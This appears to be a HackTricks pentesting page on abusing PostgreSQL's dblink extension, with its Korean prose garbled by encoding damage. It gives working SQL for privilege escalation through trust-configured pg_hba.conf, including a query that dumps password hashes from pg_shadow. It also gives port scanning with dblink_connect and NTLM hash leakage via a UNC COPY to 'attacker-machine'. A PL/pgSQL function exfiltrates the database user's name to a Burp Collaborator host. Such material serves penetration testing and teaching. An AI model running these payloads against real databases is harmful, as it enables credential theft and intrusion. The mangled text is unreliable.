๋คํธ์ํฌ - ๊ถํ ์์น, ํฌํธ ์ค์บ๋ ๋ฐ NTLM ์ฑ๋ฆฐ์ง ์๋ต ๋์ถ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์์ธํ ๋ด์ฉ์ ์๋ณธ ๋ฌธ์์์ ์ด ๊ณต๊ฒฉ์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ฅผ ์ฐพ์ผ์ธ์.
PostgreSQL 9.1๋ถํฐ ์ถ๊ฐ ๋ชจ๋ ์ค์น๊ฐ ๊ฐ๋จํฉ๋๋ค. ๋ฑ๋ก๋ ํ์ฅ ํ๋ก๊ทธ๋จ์ธ dblink๋ CREATE EXTENSION์ผ๋ก ์ค์นํ ์ ์์ต๋๋ค:
CREATE EXTENSION dblink;
dblink์ด ๋ก๋๋๋ฉด ๋ช ๊ฐ์ง ํฅ๋ฏธ๋ก์ด ํธ๋ฆญ์ ์ํํ ์ ์์ต๋๋ค:
๊ถํ ์์น
ํ์ผ pg_hba.conf๊ฐ ์๋ชป ๊ตฌ์ฑ๋์ด ๋น๋ฐ๋ฒํธ๋ฅผ ์ ํ์ ์์ด ๋ชจ๋ ์ฌ์ฉ์๋ก๋ถํฐ localhost์ ์ฐ๊ฒฐ์ ํ์ฉํ ์ ์์ต๋๋ค. ์ด ํ์ผ์ ์ผ๋ฐ์ ์ผ๋ก /etc/postgresql/12/main/pg_hba.conf์ ์์นํ๋ฉฐ, ์๋ชป๋ ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
local all all trust
์ด ๊ตฌ์ฑ์ ๊ด๋ฆฌ์๊ฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ด๋ฒ๋ ธ์ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ ํ๋ ๋ฐ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ฏ๋ก, ๋๋๋ก ์ด๋ฅผ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
๋ํ pg_hba.conf ํ์ผ์ postgres ์ฌ์ฉ์์ ๊ทธ๋ฃน๋ง ์ฝ์ ์ ์์ผ๋ฉฐ, postgres ์ฌ์ฉ์๋ง ์ธ ์ ์์ต๋๋ค.
์ด ๊ฒฝ์ฐ๋ ์ ์ฉํฉ๋๋ค ์ด๋ฏธ ํผํด์ ๋ด๋ถ์ ์์ด ์๋ ๊ฒฝ์ฐ๋ก, postgresql ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํ ์ ์๊ฒ ํด์ค๋๋ค.
๋ ๋ค๋ฅธ ๊ฐ๋ฅํ ์๋ชป๋ ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ๋๋ค:
host all all 127.0.0.1/32 trust
๋ก์ปฌํธ์คํธ์ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํ ์ ์๊ฒ ๋ฉ๋๋ค.
์ด ๊ฒฝ์ฐ dblink ํจ์๊ฐ ์๋ํ๋ฉด, ์ด๋ฏธ ์ค์ ๋ ์ฐ๊ฒฐ์ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํ์ฌ ์ ๊ทผํ ์ ์๋ ๋ฐ์ดํฐ์ ์ ๊ทผํจ์ผ๋ก์จ ๊ถํ ์์น์ ํ ์ ์์ต๋๋ค:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
ํฌํธ ์ค์บ๋
dblink_connect๋ฅผ ์
์ฉํ์ฌ ์ด๋ ค ์๋ ํฌํธ๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค. ๋ง์ฝ ๊ทธ **๊ธฐ๋ฅ์ด ์๋ํ์ง ์์ผ๋ฉด ๋ฌธ์์ ๋ฐ๋ฅด๋ฉด dblink_connect_u()๋ฅผ ์ฌ์ฉํด ๋ณด์์ผ ํฉ๋๋ค. dblink_connect_u()๋ dblink_connect()์ ๋์ผํ์ง๋ง, ๋น์ํผ์ ์ ๊ฐ ์ด๋ค ์ธ์ฆ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ๋ ์ฐ๊ฒฐํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
๋ค์ ์ฌํญ์ ์ ์ํ์ธ์. dblink_connect ๋๋ dblink_connect_u๋ฅผ ์ฌ์ฉํ๊ธฐ ์ ์ ๋ค์์ ์คํํด์ผ ํ ์ ์์ต๋๋ค:
CREATE extension dblink;
UNC ๊ฒฝ๋ก - NTLM ํด์ ์ ์ถ
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


